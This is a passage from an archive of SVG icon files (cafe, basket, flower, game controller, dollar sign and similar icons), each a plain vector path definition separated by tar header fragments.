40.2c2.6 2.6 4.1 6.1 4.1 9.9 0 3.7-1.4 7.3-4.1 9.9l-.1.1c-2.7 2.5-6.2 3.9-9.8 3.9-3.9 0-7.3-1.4-9.9-4.1l-57.6-57.4c-4.2-4.2-6.5-9.8-6.5-15.7 0-5.8 2.3-11.3 6.5-15.4z"/></svg>collection/icon/svg/ios-cafe.svg000064400000001275151701353760012652 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M369.7 404H110.1c-7.6 0-14.1 5.8-14.4 13.4-.4 8 6 14.6 14 14.6h259.6c7.6 0 14.1-5.8 14.4-13.4.3-8-6.1-14.6-14-14.6zM399.2 118.5c.1-10.8-4.2-20.9-12.2-28.4-7.2-6.6-16.7-10.1-26.5-10.1H86.8c-9.9 0-19.7 3.6-26.9 10.4-8.1 7.7-12.4 18.2-11.9 29.3C50.4 172 58.3 218 71.8 256.3c11 31.6 25.8 58.1 43.9 78.9 31.8 36.6 68.8 48.8 77.9 48.8h60.1c5.5 0 25-7.2 44.2-19.5 22.4-14.4 42.4-36.7 58.1-64.6 2 .1 4 .2 5.9.2 27.2 0 52.8-9.7 72.1-27.4 19.4-17.8 30.1-41.4 30.1-66.6-.1-38.9-25.9-73.5-64.9-87.6zm-29.7 153.1c14.2-34.5 23.6-76 27.8-123.4 0 0 0-.1.1 0 10.3 5 19.1 12.2 25.8 20.9 8.4 10.9 12.8 23.7 12.8 37 0 34-29.2 62.1-66.5 65.5z"/></svg>collection/icon/svg/md-basket.svg000064400000000721151701353760013026 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M362.1 205.2L272.9 72.5C269 66.8 262.5 64 256 64c-6.5 0-13 2.8-16.9 8.7l-89.2 132.5H52.4c-11.2 0-20.4 9.1-20.4 20.2 0 1.8.2 3.6.8 5.5l51.7 187.5c4.7 17 20.4 29.5 39.1 29.5h264.7c18.7 0 34.4-12.5 39.3-29.5l51.7-187.5.6-5.5c0-11.1-9.2-20.2-20.4-20.2h-97.4zm-167.2 0l61.1-89 61.1 89H194.9zM256 367.1c-22.4 0-40.7-18.2-40.7-40.5s18.3-40.5 40.7-40.5 40.7 18.2 40.7 40.5-18.3 40.5-40.7 40.5z"/></svg>collection/icon/svg/md-pricetags.svg000064400000000673151701353760013544 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M442 107v141L229.2 451.7c8 8 20.8 12.3 28.8 12.3s22.8-3.7 31.4-12.3L480 272V144l-38-37z"/><path d="M384 48H224L44.3 235.6c-8 8-12 17.8-12.3 28.4-.3 11.3 3.7 23.3 12.3 31.9l123.8 123.6c8 8 20.8 12.5 28.8 12.5s22.7-3.9 31.3-12.5L416 240V80l-32-32zm-30.7 102.7c-21.7 6.1-41.3-10-41.3-30.7 0-17.7 14.3-32 32-32 20.7 0 36.8 19.6 30.7 41.3-2.9 10.3-11.1 18.5-21.4 21.4z"/></svg>collection/icon/svg/md-flower.svg000064400000001123151701353760013050 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M405.1 256c25.2-11.9 42.9-37.1 42.9-66.9 0-41-33.6-74.3-75-74.3-15.9 0-30.3 4.8-42.6 13.1l.6-5.6c0-41-33.6-74.3-75-74.3s-75 33.3-75 74.3l.6 5.6c-12-8.3-26.7-13.1-42.6-13.1-41.4 0-75 33.3-75 74.3 0 29.7 17.7 55 42.9 66.9C81.7 267.9 64 293.1 64 322.9c0 41 33.6 74.3 75 74.3 15.9 0 30.3-4.8 42.6-13.1l-.6 5.6c0 41 33.6 74.3 75 74.3s75-33.3 75-74.3l-.6-5.6c12 8.3 26.7 13.1 42.6 13.1 41.4 0 75-33.3 75-74.3 0-29.8-17.7-55-42.9-66.9zM256 330.3c-41.4 0-75-33.3-75-74.3s33.6-74.3 75-74.3 75 33.3 75 74.3-33.6 74.3-75 74.3z"/></svg>collection/icon/svg/ios-thunderstorm.svg000064400000000723151701353760014507 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M374.4 141.9l-13.3-.1C349.4 88.2 306 48 236 48S108.2 98.4 108.2 169.5l.3 4.8C66.3 179.9 32 219.6 32 264c0 47 37.9 88 84.7 88H236l13.8-50.6H183c-2.6 0-4.5-2.4-3.9-4.9l23.2-113c.4-1.8 2-3.1 3.9-3.1h86.1c2.7 0 4.6 2.6 3.8 5.2l-22.5 74.9h60.1c3.1 0 5.1 3.5 3.4 6.1L283.4 352H367c72 0 113-52 113-110 0-58.6-47.3-100.1-105.6-100.1zM206.8 458.9c-1.2 4.4 4.8 7 7.2 3.2L283.4 352H236l-29.2 106.9z"/></svg>collection/icon/svg/ios-paw.svg000064400000001770151701353760012543 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M324.3 80.3c-1.2-.2-2.4-.3-3.6-.3v.4-.3h-.4c-22 0-42.9 25.9-47.8 60.3-5.3 36.6 9.4 69 32.7 72.4 1.3.2 2.7.3 4 .3 22 0 42.9-25.9 47.8-60.3 5.3-36.7-9.4-69.1-32.7-72.5zM320.6 80zM442.3 169.4c-3.5-1.4-7.1-2.1-10.9-2.1h-.4c-19.7.3-41.8 19.2-53.4 47.8-13.9 34.2-7.5 69.2 14.4 78.2 3.5 1.4 7.1 2.1 10.9 2.1 19.8 0 42.2-19 53.9-47.8 13.8-34.2 7.3-69.2-14.5-78.2zM327.6 295.4c-27.8-43.6-39.8-60-71.6-60s-43.9 16.5-71.7 60c-23.8 37.2-71.9 40.3-83.9 71.9-2.4 5.6-3.6 11.7-3.6 18.2 0 25.7 20.8 46.5 46.4 46.5 31.8 0 75.1-24 112.9-24s80.9 24 112.7 24c25.6 0 46.3-20.8 46.3-46.5 0-6.5-1.3-12.6-3.7-18.2-12-31.7-60-34.7-83.8-71.9zM202.8 213c1.3 0 2.7-.1 4-.3 23.4-3.4 38-35.8 32.7-72.4-5-34.5-25.9-60.3-47.8-60.3-1.3 0-2.7.1-4 .3-23.4 3.4-38 35.8-32.7 72.4 5 34.4 25.9 60.3 47.8 60.3zM120.1 293.3c21.9-9 28.3-44 14.4-78.2-11.7-28.8-34.1-47.8-53.9-47.8-3.8 0-7.4.7-10.9 2.1-21.9 9-28.3 44-14.4 78.2 11.7 28.8 34.1 47.8 53.9 47.8 3.8 0 7.4-.7 10.9-2.1z"/></svg>collection/icon/svg/logo-game-controller-b.svg000064400000002135151701353760015427 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M135.1 204.6c-10.7 0-19.3 8.7-19.3 19.4s8.7 19.4 19.3 19.4c10.6 0 19.3-8.7 19.3-19.4s-8.6-19.4-19.3-19.4z"/><path d="M466.3 248.9c-21.2-88.5-43.6-135.5-88.5-148.8-9.8-2.9-18.1-4-25.7-4-27.6 0-46.9 14.7-96.1 14.7-49.2 0-68.5-14.7-96.1-14.7-7.7 0-16 1.1-25.7 4-44.9 13.3-67.3 60.4-88.5 148.8-21.2 88.5-17.3 152.4 7.7 164.3 4.1 1.9 8.2 2.8 12.5 2.8 21.7 0 45.1-23.8 67.7-52 25.7-32.1 32.1-33 110.3-33h24.3c78.1 0 84.6.8 110.3 33 22.5 28.2 46 52 67.7 52 4.2 0 8.4-.9 12.5-2.8 24.9-12 28.7-75.9 7.6-164.3zm-331.1 14.7c-21.6 0-39.2-17.8-39.2-39.6s17.6-39.6 39.2-39.6c21.7 0 39.2 17.8 39.2 39.6.1 21.9-17.5 39.6-39.2 39.6zm172.9-19.5c-11.1 0-20.1-9-20.1-20.1 0-11.1 9-20.1 20.1-20.1 11.1 0 20.1 9 20.1 20.1 0 11.1-9 20.1-20.1 20.1zM352 288c-11.1 0-20.1-9-20.1-20 0-11.2 9-20.1 20.1-20.1 11.1 0 20.1 8.9 20.1 20.1 0 11-9 20-20.1 20zm0-87.8c-11.1 0-20.1-9-20.1-20.1 0-11.1 9-20.1 20.1-20.1 11.1 0 20.1 9 20.1 20.1 0 11.1-9 20.1-20.1 20.1zm43.9 43.9c-11.1 0-20.1-9-20.1-20.1 0-11.1 9-20.1 20.1-20.1 11.1 0 20.1 9 20.1 20.1 0 11.1-9 20.1-20.1 20.1z"/></svg>collection/icon/svg/ios-search.svg000064400000001026151701353760013213 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M443.5 420.2L336.7 312.4c20.9-26.2 33.5-59.4 33.5-95.5 0-84.5-68.5-153-153.1-153S64 132.5 64 217s68.5 153 153.1 153c36.6 0 70.1-12.8 96.5-34.2l106.1 107.1c3.2 3.4 7.6 5.1 11.9 5.1 4.1 0 8.2-1.5 11.3-4.5 6.6-6.3 6.8-16.7.6-23.3zm-226.4-83.1c-32.1 0-62.3-12.5-85-35.2-22.7-22.7-35.2-52.9-35.2-84.9 0-32.1 12.5-62.3 35.2-84.9 22.7-22.7 52.9-35.2 85-35.2s62.3 12.5 85 35.2c22.7 22.7 35.2 52.9 35.2 84.9 0 32.1-12.5 62.3-35.2 84.9-22.7 22.7-52.9 35.2-85 35.2z"/></svg>collection/icon/svg/logo-euro.svg000064400000000751151701353760013072 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M234 272v-48h131.094l7.149-48H234v-1.83c0-35.92 14.975-58.086 79.25-58.086 26.264 0 55.867 2.498 93.189 8.742L416 59.866C377.988 51.123 345.306 48 310.057 48 195.326 48 146 89.225 146 165.43V176H96v48h50v48H96v48h50v26.57C146 422.774 195.297 464 310.027 464c35.25 0 67.848-3.123 105.859-11.866l-9.619-64.96c-37.322 6.244-66.781 8.742-93.045 8.742-64.276 0-79.223-18.739-79.223-63.086V320h116.795l7.148-48H234z"/></svg>collection/icon/svg/md-git-network.svg000064400000001162151701353760014027 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M448 96c0-35.3-28.7-64-64-64s-64 28.7-64 64c0 23.6 12.9 44.3 32 55.4v52.8l-96 48-96-48v-52.8c19.1-11.1 32-31.8 32-55.4 0-35.3-28.7-64-64-64S64 60.7 64 96c0 23.6 12.9 44.3 32 55.4v92.4l128 64v52.8c-19.1 11.1-32 31.8-32 55.4 0 35.3 28.7 64 64 64s64-28.7 64-64c0-23.6-12.9-44.3-32-55.4v-52.8l128-64v-92.4c19.1-11.1 32-31.8 32-55.4zM128 56c22.1 0 40 17.9 40 40s-17.9 40-40 40-40-17.9-40-40 17.9-40 40-40zm128 400c-22.1 0-40-17.9-40-40s17.9-40 40-40 40 17.9 40 40-17.9 40-40 40zm128-320c-22.1 0-40-17.9-40-40s17.9-40 40-40 40 17.9 40 40-17.9 40-40 40z"/></svg>collection/icon/svg/md-phone-landscape.svg000064400000000437151701353760014622 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M480 358.856V153.143C480 130.512 461.674 112 439.272 112H72.728C50.326 112 32 130.512 32 153.143v205.713C32 381.488 50.326 400 72.728 400h366.545C461.674 400 480 381.488 480 358.856zM112 364V148h288v216H112z"/></svg>collection/icon/svg/md-play.svg000064400000000151151701353760012517 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M96 52v408l320-204L96 52z"/></svg>collection/icon/svg/ios-school.svg000064400000001026151701353760013235 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M96.9 270.3V363c0 2.9 1.5 5.5 4 7l132 75.9c5.3 3.1 12-.8 12-7v-93.8c0-2.9-1.5-5.5-4-7l-132-74.9c-5.4-2.9-12 1-12 7.1zM280.9 445.9L413 370c2.5-1.4 4-4.1 4-7v-93.7c0-6.2-6.6-10-12-7l-132 75.9c-2.5 1.4-4 4.1-4 7V439c-.1 6.1 6.6 10 11.9 6.9z"/><path d="M249 65.1L37 188.9c-5.4 3.1-5.4 10.8 0 13.9l212 117.8c4.9 2.8 11 2.8 15.9 0L453 212.9c5.3-3.1 7 .8 7 7v153.4c0 6.8 3.9 10 11 10 4.4 0 10-3.2 10-10V201.5c0-2.9-1.5-5.5-4-7L264.9 65.1c-4.9-2.8-11-2.8-15.9 0z"/></svg>collection/icon/svg/logo-vimeo.svg000064400000001413151701353760013233 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M476.9 114c-5-23.4-17.5-38.8-40.6-46.3s-64.9-4.5-94.1 16.8c-29.9 21.8-47.6 59.7-53.8 83.8 14.7-6.3 24-7.7 39-6.9s24.5 12 24.9 25.3c.3 9.8-.2 18.7-3.6 27.7-10.8 28.7-27.7 56.5-47.6 80.8-2.9 3.6-6.4 6.9-10 9.9-10.2 8.3-18.8 6.1-25.4-5.2-5.4-9.3-9-18.9-12.2-29.1-12.4-39.7-16.8-80.9-23.8-121.6-3.3-19.5-7-39.8-18-56.9-11.6-17.8-28.6-24.6-50-22-14.7 1.8-36.9 17.5-47.8 26.4 0 0-56 46.9-81.8 71.4l21.2 27s17.9-12.5 27.5-18.3c5.7-3.4 12.4-4.1 17.2.2 4.5 3.9 9.6 9 12.3 14.1 5.7 10.7 11.2 21.9 14.7 33.4 13.2 44.3 25.5 88.7 37.8 133.3 6.3 22.8 13.9 44.2 28 63.6 19.3 26.6 39.6 32.7 70.9 21.5 25.4-9.1 46.6-26.2 66-43.9 33.1-30.2 59.1-65.4 85.5-101.2 20.4-27.7 37.3-55.7 51.4-87 13.9-31 19.4-63.5 12.3-96.8z"/></svg>collection/icon/svg/ios-expand.svg000064400000002116151701353760013226 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M112.4 92h77.7c7.7 0 13.9-6.2 13.9-13.9v-.2c0-7.7-6.2-13.9-13.9-13.9H77.9C70.2 64 64 70.2 64 77.9v112.2c0 7.7 6.2 13.9 13.9 13.9h.2c7.7 0 13.9-6.2 13.9-13.9v-77.7l117.1 116.3c2.6 2.6 6.1 4 9.8 4 3.7 0 7.2-1.4 9.8-4.1 5.4-5.4 5.4-14.2 0-19.6L112.4 92zM434.1 64H321.9c-7.7 0-13.9 6.2-13.9 13.9v.2c0 7.7 6.2 13.9 13.9 13.9h77.7L283.3 209.1c-5.4 5.4-5.4 14.2 0 19.6 2.6 2.6 6.1 4.1 9.8 4.1 3.7 0 7.2-1.4 9.8-4L420 112.4v77.7c0 7.7 6.2 13.9 13.9 13.9h.2c7.7 0 13.9-6.2 13.9-13.9V77.9c0-7.7-6.2-13.9-13.9-13.9zM218.9 279.2c-3.7 0-7.2 1.4-9.8 4L92 399.6v-77.7c0-7.7-6.2-13.9-13.9-13.9h-.2c-7.7 0-13.9 6.2-13.9 13.9v112.2c0 7.7 6.2 13.9 13.9 13.9h112.2c7.7 0 13.9-6.2 13.9-13.9v-.2c0-7.7-6.2-13.9-13.9-13.9h-77.7l116.3-117.1c5.4-5.4 5.4-14.2 0-19.6-2.6-2.6-6.1-4.1-9.8-4.1zM434.1 308h-.2c-7.7 0-13.9 6.2-13.9 13.9v77.7L302.9 283.3c-2.6-2.6-6.1-4-9.8-4-3.7 0-7.2 1.4-9.8 4.1-5.4 5.4-5.4 14.2 0 19.6l116.3 117h-77.7c-7.7 0-13.9 6.2-13.9 13.9v.2c0 7.7 6.2 13.9 13.9 13.9h112.2c7.7 0 13.9-6.2 13.9-13.9V321.9c0-7.7-6.2-13.9-13.9-13.9z"/></svg>collection/icon/svg/ios-podium.svg000064400000000647151701353760013253 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M64 199.9v208.2c0 4.4 3.5 7.9 7.9 7.9h96.2c4.4 0 7.9-3.5 7.9-7.9V199.9c0-4.4-3.5-7.9-7.9-7.9H71.9c-4.4 0-7.9 3.5-7.9 7.9zM199.9 96c-4.4 0-7.9 3.5-7.9 7.9V416h120.1c4.4 0 7.9-3.5 7.9-7.9V103.9c0-4.4-3.5-7.9-7.9-7.9H199.9zM440.1 256h-96.2c-4.4 0-7.9 3.5-7.9 7.9v144.2c0 4.4 3.5 7.9 7.9 7.9h96.2c4.4 0 7.9-3.5 7.9-7.9V263.9c0-4.4-3.5-7.9-7.9-7.9z"/></svg>collection/icon/svg/ios-save.svg000064400000001041151701353760012701 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M272 64h-16c-4.4 0-8 3.6-8 8v72c0 4.4 7.6 8 12 8h12c4.4 0 8-3.6 8-8V72c0-4.4-3.6-8-8-8z"/><path d="M433.9 130.1L382 78.2c-9-9-21.3-14.2-34.1-14.2h-28c-8.8 0-16 7.3-16 16.2v80c0 8.8-7.2 16-16 16H160c-8.8 0-16-7.2-16-16v-80c0-8.8-7.2-16.2-16-16.2H96c-17.6 0-32 14.4-32 32v320c0 17.6 14.4 32 32 32h320c17.6 0 32-14.4 32-32V164c0-12.7-5.1-24.9-14.1-33.9zM322 400.1c0 8.8-8 16-17.8 16H143.8c-9.8 0-17.8-7.2-17.8-16v-96c0-8.8 8-16 17.8-16h160.4c9.8 0 17.8 7.2 17.8 16v96z"/></svg>collection/icon/svg/ios-mail-open.svg000064400000001173151701353760013632 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M453.5 209.8c-4-4-158.3-161.4-158.3-161.4C284.8 37.8 270.9 32 256 32c-14.9 0-28.8 5.8-39.2 16.5 0 0-153.6 156.5-158.3 161.4C53.9 214.7 48 224.7 48 236v212c0 17.6 14.4 32 32 32h352c17.6 0 32-14.4 32-32V235c0-11.7-6.6-21.1-10.5-25.2zm-19.4 42.3L353 336.9c-.8.8-.8 2 0 2.8l75.3 80.2c5.1 5.1 5.1 13.3 0 18.4-2.5 2.5-5.9 3.8-9.2 3.8s-6.7-1.3-9.2-3.8l-151-161.2c-1.6-1.7-4.3-1.7-5.8 0L102.2 438.2c-2.5 2.5-5.9 3.8-9.2 3.8s-6.7-1.3-9.2-3.8c-5.1-5.1-5.1-13.3 0-18.4l75.3-80.2c.7-.8.7-2 0-2.8L77.7 252c-9.7-9.9-2.4-35.8 16.1-35.8h324.4c16.5-.1 25.6 26.1 15.9 35.9z"/></svg>collection/icon/svg/ios-glasses.svg000064400000001254151701353760013412 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M464.5 240.9h-6.2c-3.3-21.1-13.3-40.5-28.5-55.2-17.3-16.6-39.8-25.8-63.4-25.8-20.5 0-40 6.7-56.2 19.4-13.8 10.8-24.2 25.1-30.5 41.7-7-4.6-15.4-7.3-23.7-7.3-8.3 0-16.7 2.6-23.7 7.3-6.2-16.6-16.6-30.9-30.5-41.7-16.2-12.7-35.7-19.4-56.2-19.4-23.6 0-46.1 9.1-63.4 25.6C67 200.4 57 219.9 53.7 241h-6.2c-8 0-14.5 6.7-14.5 15s6.5 15 14.5 15h6.2c3.3 21.2 13.3 40.6 28.5 55.3 17.3 16.6 39.8 25.8 63.4 25.8 51.3 0 93.1-43 93.1-95.9v-.2c0-5.9 6.9-14.9 17.3-14.9s17.3 9 17.3 14.9v.1c0 52.9 41.8 95.9 93.1 95.9 23.7 0 46.2-9.1 63.4-25.8 15.2-14.7 25.2-34.2 28.5-55.4h6.2c8 0 14.5-6.7 14.5-15 0-8.1-6.5-14.9-14.5-14.9z"/></svg>collection/icon/svg/ios-man.svg000064400000001252151701353760012522 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M255.7 106.6h-.2c-25 0-45.5-20.3-45.5-45.3 0-25 20.4-45.3 45.5-45.3S301 36.3 301 61.3c0 12.1-4.7 23.5-13.3 32-8.5 8.6-19.9 13.3-32 13.3zM221.2 496c-14.4 0-27-10.5-27-30.4l1-277.6h-10v105c0 9.3-3 15.1-6.4 18.3-4.3 4.1-9.1 6.4-15.2 6.4-6.2 0-10.9-2.3-15.2-6.4-3.4-3.2-6.4-8.9-6.4-18.3V171.4c0-13.8 4.4-27.8 13.8-38.4 10.4-11.6 23.6-18 39-18h122.3c15.4 0 28.6 6.4 39 18.1 9.4 10.6 13.8 24.5 13.8 38.3V293c0 7.3-1.7 13.8-6.6 18.3-4.4 4-9.3 6.2-15.5 6.2s-11.1-2.2-15.5-6.2c-4.9-4.5-6.6-11-6.6-18.3V188h-9v277.6c0 19.7-13.4 30.4-27.8 30.4-13.4 0-26.3-9.3-27.4-29.8V325h-12v140.9c-.7 19.7-13.8 30.1-28.3 30.1z"/></svg>collection/icon/svg/md-appstore.svg000064400000000514151701353760013412 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M464 152H360c0-57-46.562-103.859-104-103.859S152 95 152 152H48c18.688 216 13 312 13 312h389.999c-.001 0-5.688-98 13.001-312zM256 74.105c43.008 0 77.999 34.895 77.999 77.895H178c0-43 34.991-77.895 78-77.895zM204 397.64V228.867l142.999 84.387L204 397.64z"/></svg>collection/icon/svg/ios-film.svg000064400000001727151701353760012705 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M447.9 80H64.1C46.5 80 32 94.5 32 112.1v287.7c0 17.7 14.5 32.1 32.1 32.1h383.7c17.7 0 32.1-14.5 32.1-32.1V112.1c.1-17.6-14.4-32.1-32-32.1zM120 400c0 4.4-3.6 8-8 8H64c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v48zm0-80c0 4.4-3.6 8-8 8H64c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v48zm0-80c0 4.4-3.6 8-8 8H64c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v48zm0-80c0 4.4-3.6 8-8 8H64c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v48zm232 108H160c-6.6 0-12-5.4-12-12s5.4-12 12-12h192c6.6 0 12 5.4 12 12s-5.4 12-12 12zm104 132c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v48zm0-80c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v48zm0-80c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v48zm0-80c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v48z"/></svg>collection/icon/svg/logo-usd.svg000064400000003464151701353760012717 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M411.387 303.256c-3.119-9.577-7.891-18.561-14.301-26.952-6.422-8.382-14.396-15.826-23.93-22.331-9.539-6.498-20.721-11.63-33.553-15.4-5.143-1.363-14.189-3.506-26.104-6.418-8.516-2.074-16.5-4.2-25.5-6.367V120.065c9 2.396 15.252 6.202 21.926 10.43C324.204 139.535 333.157 155 335.78 176h69.174c-.654-18-4.65-32.76-11.996-46.02-8.07-14.543-18.977-27.024-32.73-36.956-13.75-9.922-30.225-17.49-48.377-22.455C303.967 68.416 297 66.605 288 65.386V32h-64v33.167c-7 1.044-15.148 2.445-22.426 4.25-17.242 4.283-32.388 10.868-45.951 19.764-13.571 8.905-24.352 20.112-32.604 33.627-8.251 13.523-12.312 29.52-12.312 48 0 9.585 1.407 18.993 4.157 28.235 2.752 9.241 7.442 17.967 14.042 26.181 6.603 8.214 15.495 15.658 26.687 22.332 11.183 6.672 24.705 12.064 41.576 16.171 9.287 2.345 18.83 4.534 26.83 6.576v119.586c-11-2.919-21.889-7.399-30.678-13.479-9.17-6.327-16.066-13.953-21.198-23.884-4.779-9.229-7.073-20.526-7.407-32.526H96c.695 21 5.25 39.494 13.672 55.371 8.799 16.604 20.533 29.96 35.204 40.562 14.662 10.613 31.393 18.356 51.198 23.491 8.885 2.304 18.926 3.96 27.926 5.23V480h64v-34.54c10-1.069 18.957-2.69 28.527-4.879 18.701-4.273 35.645-11.036 50.316-20.276 14.662-9.24 26.621-21.128 35.611-35.681 8.98-14.541 13.545-32.085 13.545-52.619.001-9.578-1.501-19.164-4.612-28.749zM224 209.699c-12-3.743-23.912-9.088-32.051-16.048-8.621-7.355-12.673-17.534-12.673-30.545 0-9.241 2.414-16.94 7.004-23.102 4.58-6.161 9.912-11.038 16.88-14.631 6.18-3.189 13.84-5.565 20.84-7.138v91.464zm118.902 149.772c-2.939 6.673-7.699 12.576-14.303 17.711-6.602 5.133-15.744 9.328-26.377 12.577-4.5 1.378-8.223 2.444-14.223 3.236v-107.11c10 2.624 18.18 5.332 26.326 8.131 8.062 2.744 15.748 7.443 22.537 14.116 6.785 6.676 10.309 17.03 10.309 31.06.001 6.85-1.337 13.605-4.269 20.279z"/></svg>collection/icon/svg/md-contrast.svg000064400000000441151701353760013411 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm113.1 321.1C338.9 399.4 298.7 416 256 416V96c42.7 0 82.9 16.6 113.1 46.9C399.4 173.1 416 213.3 416 256s-16.6 82.9-46.9 113.1z"/></svg>collection/icon/svg/ios-skip-backward.svg000064400000000366151701353760014476 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M175 100v137.8L403.9 98.1c5.3-3.1 12.1.7 12.1 6.9v302c0 6.2-6.7 10-12.1 6.9L175 274.2V412c0 2.2-1.8 4-4 4h-71c-2.2 0-4-1.8-4-4V100c0-2.2 1.8-4 4-4h71c2.2 0 4 1.8 4 4z"/></svg>collection/icon/svg/ios-water.svg000064400000000750151701353760013073 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 146.4c-34.4-48.6-67.5-78.5-90.8-96.6-3.1-2.4-7.3-2.4-10.4-.1-23 17.1-56.1 48.4-90.5 96.5-37.3 52-63 108.4-64.2 170.9 0 1.2-.1 2.5-.1 3.7 0 18.4 3.9 35.9 10.9 52.1 4.1 9.3 9.2 18.1 15.2 26.3 28.5 39 77.8 64.8 133.8 64.8 88.4 0 160.1-64.1 160.1-143.2 0-63.7-27-122.2-64-174.4zm-86 264.3h-.5c-9.9 0-12-14.1-2.6-17.1 45.1-14.2 69.6-38.5 86.4-80.8 3.5-8.9 16.7-6.5 16.8 3.1v1.4c-.1 51.6-44.9 93.4-100.1 93.4z"/></svg>collection/icon/svg/md-power.svg000064400000000534151701353760012713 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M279.1 48h-46.2v231.1h46.2V48zm111.6 50.2L357.9 131c36.5 29.4 59.9 74.4 59.9 125 0 89.4-72.3 161.8-161.8 161.8S94.2 345.4 94.2 256c0-50.6 23.3-95.7 59.6-125.3l-32.6-32.6C76.4 136.3 48 192.7 48 256c0 114.9 93.1 208 208 208s208-93.1 208-208c0-63.3-28.4-119.7-73.3-157.8z"/></svg>collection/icon/svg/md-pause.svg000064400000000203151701353760012665 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M96 448h106.7V64H96v384zM309.3 64v384H416V64H309.3z"/></svg>collection/icon/svg/ios-battery-charging.svg000064400000000757151701353760015212 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M396 144H64c-26.4 0-48 21.6-48 48v128c0 26.4 21.6 48 48 48h332c26.4 0 48-21.6 48-48V192c0-26.4-21.6-48-48-48zm20 176c0 11-9 20-20 20H64c-11 0-20-9-20-20V192c0-11 9-20 20-20h332c11 0 20 9 20 20v128zM464 204.6v102.8c16 0 32-27.7 32-51.4s-16-51.4-32-51.4z"/><path d="M384 192H76c-6.6 0-12 5.4-12 12v104c0 6.6 5.4 12 12 12h308c6.6 0 12-5.4 12-12V204c0-6.6-5.4-12-12-12zM218.8 308l8.4-43H200l45.2-61-8.4 43H264l-45.2 61z"/></svg>collection/icon/svg/ios-redo.svg000064400000000650151701353760012701 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M32 432h2.9c1.8 0 3.5-1.1 4.1-2.8 2.2-5.7 8.3-19.8 21.4-39.7 21.5-32.7 58.4-67.4 94.5-83.5 27.6-12.4 53-21.5 97.1-23.2 2.3-.1 4.2 1.7 4.2 4v81.6c0 3.2 3.6 5.1 6.2 3.4l215.9-142.2c2.4-1.6 2.4-5.1 0-6.7l-216-142.2c-2.7-1.8-6.2.1-6.2 3.4v82.6c0 2.2-1.7 3.9-3.8 4-71.6 3.8-123.1 24.8-163.4 65.5-61 61.6-56.8 139.1-56.8 158.7 0 10.3-.1 25.3-.1 37.1z"/></svg>collection/icon/svg/ios-quote.svg000064400000001014151701353760013100 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M209 96h-65c-26.4 0-48 21.6-48 48v128c0 26.4 21.6 48 48 48h38.7c4.6 0 8.3 3.9 8 8.6-2.3 35.5-18.8 60.2-31.3 74.1-4.7 5.2-1 13.4 5.9 13.4h39.9c2.5 0 4.8-1.1 6.3-3.1 7.4-9.6 28.5-41.6 28.5-93.9v-192c0-17.8-13.3-31.1-31-31.1zM385 96h-65c-26.4 0-48 21.6-48 48v128c0 26.4 21.6 48 48 48h38.7c4.6 0 8.3 3.9 8 8.6-2.3 35.5-18.8 60.2-31.3 74.1-4.7 5.2-1 